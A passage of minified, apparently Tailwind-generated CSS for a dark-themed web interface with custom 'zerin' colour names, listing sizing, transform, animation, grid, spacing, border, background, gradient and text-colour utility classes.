64px)}.min-h-screen{min-height:100vh}.w-0{width:0px}.w-0\.5{width:.125rem}.w-1{width:.25rem}.w-1\.5{width:.375rem}.w-10{width:2.5rem}.w-12{width:3rem}.w-14{width:3.5rem}.w-16{width:4rem}.w-2{width:.5rem}.w-2\.5{width:.625rem}.w-20{width:5rem}.w-24{width:6rem}.w-28{width:7rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-32{width:8rem}.w-4{width:1rem}.w-40{width:10rem}.w-5{width:1.25rem}.w-56{width:14rem}.w-6{width:1.5rem}.w-7{width:1.75rem}.w-8{width:2rem}.w-9{width:2.25rem}.w-96{width:24rem}.w-\[1000px\]{width:1000px}.w-\[100px\]{width:100px}.w-\[120px\]{width:120px}.w-\[140px\]{width:140px}.w-\[1px\]{width:1px}.w-\[200px\]{width:200px}.w-\[2px\]{width:2px}.w-\[40px\]{width:40px}.w-\[480px\]{width:480px}.w-\[800px\]{width:800px}.w-\[80px\]{width:80px}.w-full{width:100%}.w-px{width:1px}.w-screen{width:100vw}.min-w-0{min-width:0px}.min-w-\[170px\]{min-width:170px}.min-w-\[200px\]{min-width:200px}.min-w-\[210px\]{min-width:210px}.min-w-\[340px\]{min-width:340px}.max-w-2xl{max-width:42rem}.max-w-3xl{max-width:48rem}.max-w-4xl{max-width:56rem}.max-w-5xl{max-width:64rem}.max-w-6xl{max-width:72rem}.max-w-\[160px\]{max-width:160px}.max-w-\[200px\]{max-width:200px}.max-w-\[300px\]{max-width:300px}.max-w-\[400px\]{max-width:400px}.max-w-\[80\%\]{max-width:80%}.max-w-\[90vw\]{max-width:90vw}.max-w-full{max-width:100%}.max-w-lg{max-width:32rem}.max-w-md{max-width:28rem}.max-w-sm{max-width:24rem}.max-w-xl{max-width:36rem}.max-w-xs{max-width:20rem}.flex-1{flex:1 1 0%}.flex-shrink-0,.shrink-0{flex-shrink:0}.-translate-x-1\/2{--tw-translate-x: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-4{--tw-translate-x: -1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-full{--tw-translate-x: -100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-y-1\/2{--tw-translate-y: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0{--tw-translate-x: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0\.5{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-4{--tw-translate-x: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-0{--tw-translate-y: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-3{--tw-translate-y: .75rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-4{--tw-translate-y: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-180{--tw-rotate: 180deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.transform{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.animate-fade-in{animation:fadeIn .25s ease-out}@keyframes ping{75%,to{transform:scale(2);opacity:0}}.animate-ping{animation:ping 1s cubic-bezier(0,0,.2,1) infinite}@keyframes pulse{50%{opacity:.5}}.animate-pulse{animation:pulse 2s cubic-bezier(.4,0,.6,1) infinite}@keyframes pulseDot{0%,to{opacity:1}50%{opacity:.4}}.animate-pulse-dot{animation:pulseDot 2s ease-in-out infinite}@keyframes scaleIn{0%{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.animate-scale-in{animation:scaleIn .15s ease-out}@keyframes slideInRight{0%{opacity:0;transform:translate(24px)}to{opacity:1;transform:translate(0)}}.animate-slide-in-right{animation:slideInRight .25s ease-out}@keyframes slideUp{0%{opacity:0;transform:translateY(8px)}to{opacity:1;transform:translateY(0)}}.animate-slide-up{animation:slideUp .2s ease-out}@keyframes slideUpPanel{0%{transform:translateY(100%)}to{transform:translateY(0)}}.animate-slide-up-panel{animation:slideUpPanel .3s ease-out}@keyframes spin{to{transform:rotate(360deg)}}.animate-spin{animation:spin 1s linear infinite}.cursor-default{cursor:default}.cursor-not-allowed{cursor:not-allowed}.cursor-pointer{cursor:pointer}.select-none{-webkit-user-select:none;-moz-user-select:none;user-select:none}.select-all{-webkit-user-select:all;-moz-user-select:all;user-select:all}.resize-none{resize:none}.resize{resize:both}.scroll-mt-24{scroll-margin-top:6rem}.list-inside{list-style-position:inside}.list-disc{list-style-type:disc}.appearance-none{-webkit-appearance:none;-moz-appearance:none;appearance:none}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-12{grid-template-columns:repeat(12,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-\[100px_140px_1fr_140px\]{grid-template-columns:100px 140px 1fr 140px}.grid-cols-\[110px_1fr_90px_160px_80px_150px\]{grid-template-columns:110px 1fr 90px 160px 80px 150px}.grid-cols-\[1fr_70px_60px_120px_100px_140px_70px_100px\]{grid-template-columns:1fr 70px 60px 120px 100px 140px 70px 100px}.grid-cols-\[24px_1fr\]{grid-template-columns:24px 1fr}.grid-cols-\[80px_1fr_120px_70px\]{grid-template-columns:80px 1fr 120px 70px}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.items-baseline{align-items:baseline}.justify-start{justify-content:flex-start}.justify-end{justify-content:flex-end}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-0\.5{gap:.125rem}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-10{gap:2.5rem}.gap-12{gap:3rem}.gap-2{gap:.5rem}.gap-2\.5{gap:.625rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.gap-5{gap:1.25rem}.gap-6{gap:1.5rem}.gap-8{gap:2rem}.gap-\[1px\]{gap:1px}.gap-x-4{-moz-column-gap:1rem;column-gap:1rem}.gap-y-4{row-gap:1rem}.space-y-0\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.125rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.125rem * var(--tw-space-y-reverse))}.space-y-1>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.25rem * var(--tw-space-y-reverse))}.space-y-1\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.375rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.375rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-2\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.625rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.625rem * var(--tw-space-y-reverse))}.space-y-24>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(6rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(6rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.25rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.space-y-\[1px\]>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1px * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1px * var(--tw-space-y-reverse))}.divide-y>:not([hidden])~:not([hidden]){--tw-divide-y-reverse: 0;border-top-width:calc(1px * calc(1 - var(--tw-divide-y-reverse)));border-bottom-width:calc(1px * var(--tw-divide-y-reverse))}.divide-zerin-panel-border>:not([hidden])~:not([hidden]){--tw-divide-opacity: 1;border-color:rgb(31 31 35 / var(--tw-divide-opacity, 1))}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.overflow-x-hidden{overflow-x:hidden}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-nowrap{white-space:nowrap}.whitespace-pre-wrap{white-space:pre-wrap}.break-words{overflow-wrap:break-word}.break-all{word-break:break-all}.rounded{border-radius:.25rem}.rounded-full{border-radius:9999px}.rounded-sm{border-radius:.125rem}.border{border-width:1px}.border-0{border-width:0px}.border-2{border-width:2px}.border-b{border-bottom-width:1px}.border-b-2{border-bottom-width:2px}.border-l{border-left-width:1px}.border-l-2{border-left-width:2px}.border-r{border-right-width:1px}.border-t{border-top-width:1px}.border-dashed{border-style:dashed}.border-\[\#00F0FF\]\/30{border-color:#00f0ff4d}.border-\[\#111118\]{--tw-border-opacity: 1;border-color:rgb(17 17 24 / var(--tw-border-opacity, 1))}.border-\[\#1a1a20\]{--tw-border-opacity: 1;border-color:rgb(26 26 32 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]{--tw-border-opacity: 1;border-color:rgb(26 26 34 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]\/30{border-color:#1a1a224d}.border-\[\#1a1a22\]\/50{border-color:#1a1a2280}.border-\[\#1f1f25\]{--tw-border-opacity: 1;border-color:rgb(31 31 37 / var(--tw-border-opacity, 1))}.border-\[\#ff69b4\]\/25{border-color:#ff69b440}.border-amber-500\/15{border-color:#f59e0b26}.border-amber-500\/20{border-color:#f59e0b33}.border-blue-500\/20{border-color:#3b82f633}.border-emerald-400\/20{border-color:#34d39933}.border-emerald-500\/20{border-color:#10b98133}.border-emerald-500\/40{border-color:#10b98166}.border-purple-500\/20{border-color:#a855f733}.border-purple-500\/50{border-color:#a855f780}.border-red-500\/20{border-color:#ef444433}.border-red-500\/30{border-color:#ef44444d}.border-transparent{border-color:transparent}.border-white\/30{border-color:#ffffff4d}.border-zerin-accent{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-zerin-accent\/15{border-color:#06b6d426}.border-zerin-accent\/20{border-color:#06b6d433}.border-zerin-accent\/25{border-color:#06b6d440}.border-zerin-accent\/30{border-color:#06b6d44d}.border-zerin-accent\/40{border-color:#06b6d466}.border-zerin-accent\/50{border-color:#06b6d480}.border-zerin-danger\/20{border-color:#ef444433}.border-zerin-danger\/30{border-color:#ef44444d}.border-zerin-danger\/40{border-color:#ef444466}.border-zerin-danger\/50{border-color:#ef444480}.border-zerin-panel-border{--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-zinc-500\/20{border-color:#71717a33}.border-zinc-700{--tw-border-opacity: 1;border-color:rgb(63 63 70 / var(--tw-border-opacity, 1))}.border-b-zerin-panel-border{--tw-border-opacity: 1;border-bottom-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-l-zerin-accent{--tw-border-opacity: 1;border-left-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-r-zerin-panel-border{--tw-border-opacity: 1;border-right-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-t-white{--tw-border-opacity: 1;border-top-color:rgb(255 255 255 / var(--tw-border-opacity, 1))}.border-t-zerin-accent{--tw-border-opacity: 1;border-top-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-t-zerin-panel-border{--tw-border-opacity: 1;border-top-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.bg-\[\#04040a\]{--tw-bg-opacity: 1;background-color:rgb(4 4 10 / var(--tw-bg-opacity, 1))}.bg-\[\#04040a\]\/80{background-color:#04040acc}.bg-\[\#06060b\]{--tw-bg-opacity: 1;background-color:rgb(6 6 11 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]{--tw-bg-opacity: 1;background-color:rgb(8 8 12 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]\/50{background-color:#08080c80}.bg-\[\#08080c\]\/60{background-color:#08080c99}.bg-\[\#09090b\]{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-\[\#0a0a0e\]{--tw-bg-opacity: 1;background-color:rgb(10 10 14 / var(--tw-bg-opacity, 1))}.bg-\[\#0d0d11\]{--tw-bg-opacity: 1;background-color:rgb(13 13 17 / var(--tw-bg-opacity, 1))}.bg-\[\#111118\]{--tw-bg-opacity: 1;background-color:rgb(17 17 24 / var(--tw-bg-opacity, 1))}.bg-\[\#16161c\]{--tw-bg-opacity: 1;background-color:rgb(22 22 28 / var(--tw-bg-opacity, 1))}.bg-\[\#18181c\]{--tw-bg-opacity: 1;background-color:rgb(24 24 28 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a20\]{--tw-bg-opacity: 1;background-color:rgb(26 26 32 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]{--tw-bg-opacity: 1;background-color:rgb(26 26 34 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]\/30{background-color:#1a1a224d}.bg-amber-400{--tw-bg-opacity: 1;background-color:rgb(251 191 36 / var(--tw-bg-opacity, 1))}.bg-amber-500\/10{background-color:#f59e0b1a}.bg-amber-500\/5{background-color:#f59e0b0d}.bg-amber-600{--tw-bg-opacity: 1;background-color:rgb(217 119 6 / var(--tw-bg-opacity, 1))}.bg-black\/50{background-color:#00000080}.bg-black\/60{background-color:#0009}.bg-black\/70{background-color:#000000b3}.bg-black\/80{background-color:#000c}.bg-black\/90{background-color:#000000e6}.bg-blue-500\/10{background-color:#3b82f61a}.bg-emerald-400{--tw-bg-opacity: 1;background-color:rgb(52 211 153 / var(--tw-bg-opacity, 1))}.bg-emerald-400\/10{background-color:#34d3991a}.bg-emerald-400\/80{background-color:#34d399cc}.bg-emerald-500{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.bg-emerald-500\/10{background-color:#10b9811a}.bg-emerald-500\/20{background-color:#10b98133}.bg-emerald-500\/5{background-color:#10b9810d}.bg-emerald-600{--tw-bg-opacity: 1;background-color:rgb(5 150 105 / var(--tw-bg-opacity, 1))}.bg-green-500\/40{background-color:#22c55e66}.bg-orange-500\/15{background-color:#f9731626}.bg-orange-500\/20{background-color:#f9731633}.bg-purple-500\/10{background-color:#a855f71a}.bg-purple-600{--tw-bg-opacity: 1;background-color:rgb(147 51 234 / var(--tw-bg-opacity, 1))}.bg-red-400{--tw-bg-opacity: 1;background-color:rgb(248 113 113 / var(--tw-bg-opacity, 1))}.bg-red-500{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-red-500\/10{background-color:#ef44441a}.bg-red-500\/20{background-color:#ef444433}.bg-red-500\/5{background-color:#ef44440d}.bg-red-500\/60{background-color:#ef444499}.bg-transparent{background-color:transparent}.bg-white{--tw-bg-opacity: 1;background-color:rgb(255 255 255 / var(--tw-bg-opacity, 1))}.bg-yellow-500{--tw-bg-opacity: 1;background-color:rgb(234 179 8 / var(--tw-bg-opacity, 1))}.bg-yellow-500\/40{background-color:#eab30866}.bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.bg-zerin-accent-muted{background-color:#06b6d41a}.bg-zerin-accent-muted\/30{background-color:#06b6d44d}.bg-zerin-accent\/10{background-color:#06b6d41a}.bg-zerin-accent\/15{background-color:#06b6d426}.bg-zerin-accent\/20{background-color:#06b6d433}.bg-zerin-accent\/5{background-color:#06b6d40d}.bg-zerin-accent\/50{background-color:#06b6d480}.bg-zerin-accent\/60{background-color:#06b6d499}.bg-zerin-bg{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-zerin-bg-alt{--tw-bg-opacity: 1;background-color:rgb(12 12 14 / var(--tw-bg-opacity, 1))}.bg-zerin-danger{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-zerin-danger-dim{background-color:#ef444414}.bg-zerin-danger\/10{background-color:#ef44441a}.bg-zerin-panel{--tw-bg-opacity: 1;background-color:rgb(17 17 19 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-border{--tw-bg-opacity: 1;background-color:rgb(31 31 35 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.bg-zerin-panel\/40{background-color:#11111366}.bg-zerin-panel\/60{background-color:#11111399}.bg-zerin-text-muted\/40{background-color:#52525b66}.bg-zinc-400{--tw-bg-opacity: 1;background-color:rgb(161 161 170 / var(--tw-bg-opacity, 1))}.bg-zinc-400\/10{background-color:#a1a1aa1a}.bg-zinc-500{--tw-bg-opacity: 1;background-color:rgb(113 113 122 / var(--tw-bg-opacity, 1))}.bg-zinc-500\/10{background-color:#71717a1a}.bg-zinc-500\/15{background-color:#71717a26}.bg-zinc-600{--tw-bg-opacity: 1;background-color:rgb(82 82 91 / var(--tw-bg-opacity, 1))}.bg-zinc-700{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.bg-gradient-to-b{background-image:linear-gradient(to bottom,var(--tw-gradient-stops))}.bg-gradient-to-r{background-image:linear-gradient(to right,var(--tw-gradient-stops))}.from-emerald-400{--tw-gradient-from: #34d399 var(--tw-gradient-from-position);--tw-gradient-to: rgb(52 211 153 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-emerald-500{--tw-gradient-from: #10b981 var(--tw-gradient-from-position);--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-transparent{--tw-gradient-from: transparent var(--tw-gradient-from-position);--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent{--tw-gradient-from: #06B6D4 var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/20{--tw-gradient-from: rgb(6 182 212 / .2) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/30{--tw-gradient-from: rgb(6 182 212 / .3) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/50{--tw-gradient-from: rgb(6 182 212 / .5) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.via-\[\#1a1a22\]{--tw-gradient-to: rgb(26 26 34 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #1a1a22 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-cyan-300{--tw-gradient-to: rgb(103 232 249 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #67e8f9 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-emerald-500\/30{--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(16 185 129 / .3) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-red-500\/20{--tw-gradient-to: rgb(239 68 68 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(239 68 68 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-transparent{--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), transparent var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-white\/20{--tw-gradient-to: rgb(255 255 255 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(255 255 255 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.to-cyan-300{--tw-gradient-to: #67e8f9 var(--tw-gradient-to-position)}.to-emerald-400{--tw-gradient-to: #34d399 var(--tw-gradient-to-position)}.to-transparent{--tw-gradient-to: transparent var(--tw-gradient-to-position)}.to-zerin-accent{--tw-gradient-to: #06B6D4 var(--tw-gradient-to-position)}.to-zerin-accent\/10{--tw-gradient-to: rgb(6 182 212 / .1) var(--tw-gradient-to-position)}.bg-clip-text{-webkit-background-clip:text;background-clip:text}.object-contain{-o-object-fit:contain;object-fit:contain}.object-cover{-o-object-fit:cover;object-fit:cover}.p-10{padding:2.5rem}.p-2{padding:.5rem}.p-2\.5{padding:.625rem}.p-3{padding:.75rem}.p-4{padding:1rem}.p-5{padding:1.25rem}.p-6{padding:1.5rem}.p-8{padding:2rem}.px-1{padding-left:.25rem;padding-right:.25rem}.px-1\.5{padding-left:.375rem;padding-right:.375rem}.px-10{padding-left:2.5rem;padding-right:2.5rem}.px-2{padding-left:.5rem;padding-right:.5rem}.px-2\.5{padding-left:.625rem;padding-right:.625rem}.px-3{padding-left:.75rem;padding-right:.75rem}.px-4{padding-left:1rem;padding-right:1rem}.px-5{padding-left:1.25rem;padding-right:1.25rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.px-7{padding-left:1.75rem;padding-right:1.75rem}.px-8{padding-left:2rem;padding-right:2rem}.py-0\.5{padding-top:.125rem;padding-bottom:.125rem}.py-1{padding-top:.25rem;padding-bottom:.25rem}.py-1\.5{padding-top:.375rem;padding-bottom:.375rem}.py-12{padding-top:3rem;padding-bottom:3rem}.py-16{padding-top:4rem;padding-bottom:4rem}.py-2{padding-top:.5rem;padding-bottom:.5rem}.py-2\.5{padding-top:.625rem;padding-bottom:.625rem}.py-20{padding-top:5rem;padding-bottom:5rem}.py-24{padding-top:6rem;padding-bottom:6rem}.py-28{padding-top:7rem;padding-bottom:7rem}.py-3{padding-top:.75rem;padding-bottom:.75rem}.py-3\.5{padding-top:.875rem;padding-bottom:.875rem}.py-32{padding-top:8rem;padding-bottom:8rem}.py-4{padding-top:1rem;padding-bottom:1rem}.py-5{padding-top:1.25rem;padding-bottom:1.25rem}.py-6{padding-top:1.5rem;padding-bottom:1.5rem}.py-8{padding-top:2rem;padding-bottom:2rem}.py-\[7px\]{padding-top:7px;padding-bottom:7px}.pb-0{padding-bottom:0}.pb-1{padding-bottom:.25rem}.pb-16{padding-bottom:4rem}.pb-2{padding-bottom:.5rem}.pb-3{padding-bottom:.75rem}.pb-4{padding-bottom:1rem}.pl-0{padding-left:0}.pl-3{padding-left:.75rem}.pl-4{padding-left:1rem}.pl-8{padding-left:2rem}.pr-3{padding-right:.75rem}.pt-1{padding-top:.25rem}.pt-2{padding-top:.5rem}.pt-3{padding-top:.75rem}.pt-32{padding-top:8rem}.pt-4{padding-top:1rem}.pt-6{padding-top:1.5rem}.pt-\[15vh\]{padding-top:15vh}.text-left{text-align:left}.text-center{text-align:center}.text-right{text-align:right}.font-display{font-family:var(--font-display),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.font-mono{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace}.font-sans{font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif}.text-2xl{font-size:1.5rem;line-height:2rem}.text-3xl{font-size:1.875rem;line-height:2.25rem}.text-4xl{font-size:2.25rem;line-height:2.5rem}.text-5xl{font-size:3rem;line-height:1}.text-\[10px\]{font-size:10px}.text-\[11px\]{font-size:11px}.text-\[12px\]{font-size:12px}.text-\[13px\]{font-size:13px}.text-\[14px\]{font-size:14px}.text-\[15px\]{font-size:15px}.text-\[22px\]{font-size:22px}.text-\[8px\]{font-size:8px}.text-\[9px\]{font-size:9px}.text-base{font-size:1rem;line-height:1.5rem}.text-lg{font-size:1.125rem;line-height:1.75rem}.text-sm{font-size:.875rem;line-height:1.25rem}.text-xl{font-size:1.25rem;line-height:1.75rem}.text-xs{font-size:.75rem;line-height:1rem}.font-bold{font-weight:700}.font-medium{font-weight:500}.font-semibold{font-weight:600}.uppercase{text-transform:uppercase}.lowercase{text-transform:lowercase}.capitalize{text-transform:capitalize}.tabular-nums{--tw-numeric-spacing: tabular-nums;font-variant-numeric:var(--tw-ordinal) var(--tw-slashed-zero) var(--tw-numeric-figure) var(--tw-numeric-spacing) var(--tw-numeric-fraction)}.leading-\[0\.95\]{line-height:.95}.leading-\[1\.8\]{line-height:1.8}.leading-\[1\.9\]{line-height:1.9}.leading-none{line-height:1}.leading-relaxed{line-height:1.625}.leading-tight{line-height:1.25}.tracking-\[0\.15em\]{letter-spacing:.15em}.tracking-\[0\.2em\]{letter-spacing:.2em}.tracking-\[0\.3em\]{letter-spacing:.3em}.tracking-tight{letter-spacing:-.025em}.tracking-wide{letter-spacing:.025em}.tracking-wider{letter-spacing:.05em}.tracking-widest{letter-spacing:.1em}.text-\[\#00F0FF\]{--tw-text-opacity: 1;color:rgb(0 240 255 / var(--tw-text-opacity, 1))}.text-\[\#04040a\]{--tw-text-opacity: 1;color:rgb(4 4 10 / var(--tw-text-opacity, 1))}.text-\[\#3a3a44\]{--tw-text-opacity: 1;color:rgb(58 58 68 / var(--tw-text-opacity, 1))}.text-\[\#4a4a54\]{--tw-text-opacity: 1;color:rgb(74 74 84 / var(--tw-text-opacity, 1))}.text-\[\#b0b0b8\]{--tw-text-opacity: 1;color:rgb(176 176 184 / var(--tw-text-opacity, 1))}.text-\[\#ef4444\]\/80{color:#ef4444cc}.text-\[\#ff69b4\]{--tw-text-opacity: 1;color:rgb(255 105 180 / var(--tw-text-opacity, 1))}.text-amber-400{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.text-amber-400\/60{color:#fbbf2499}.text-amber-400\/80{color:#fbbf24cc}.text-amber-400\/90{color:#fbbf24e6}.text-black{--tw-text-opacity: 1;color:rgb(0 0 0 / var(--tw-text-opacity, 1))}.text-blue-300{--tw-text-opacity: 1;color:rgb(147 197 253 / var(--tw-text-opacity, 1))}.text-blue-400{--tw-text-opacity: 1;color:rgb(96 165 250 / var(--tw-text-opacity, 1))}.text-cyan-300{--tw-text-opacity: 1;color:rgb(103 232 249 / var(--tw-text-opacity, 1))}.text-cyan-400{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.text-emerald-400{--tw-text-opacity: 1;color:rgb(52 211 153 / var(--tw-text-opacity, 